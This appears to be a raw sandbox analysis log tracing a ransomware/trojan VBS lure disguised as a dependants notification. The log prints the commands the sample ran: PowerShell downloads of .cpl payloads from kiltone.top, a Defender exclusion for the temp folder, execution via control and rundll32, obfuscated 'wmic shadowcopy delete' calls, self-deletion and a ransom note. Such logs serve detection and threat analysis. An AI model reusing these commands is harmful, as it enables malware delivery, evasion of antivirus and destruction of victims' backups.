Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\svchost.exeProcess Stats: CPU usage > 49%
Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmpJump to behavior
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\eryy65ty.exe A20BDB925E1F673B30DA71C943E9DD460EE68E23B44FE00C8A1B09609804F105
Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\fjeljies.cpl 4B4A87552C44158FB53A72C7294319B0DDDE9F99F460425AD5997D3B9121CD1E
Source: NOTIFICATION_OF_DEPENDANTS_1.vbsInitial sample: Strings found which are bigger than 50
Source: classification engineClassification label: mal100.rans.phis.troj.spyw.expl.evad.winVBS@98/844@5/6
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\Downloads\203bc979-cd5e-4f09-aae9-7003f9ad3c6e.tmpJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8564:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5336:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3132:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5192:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8740:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8172:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8732:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1412:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9132:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9140:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6988:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6900:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1624:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd4cmrln.ljv.ps1Jump to behavior
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: unknownProcess created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknownJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\control.exe control C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\System32\wbem\WMIC.exe c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
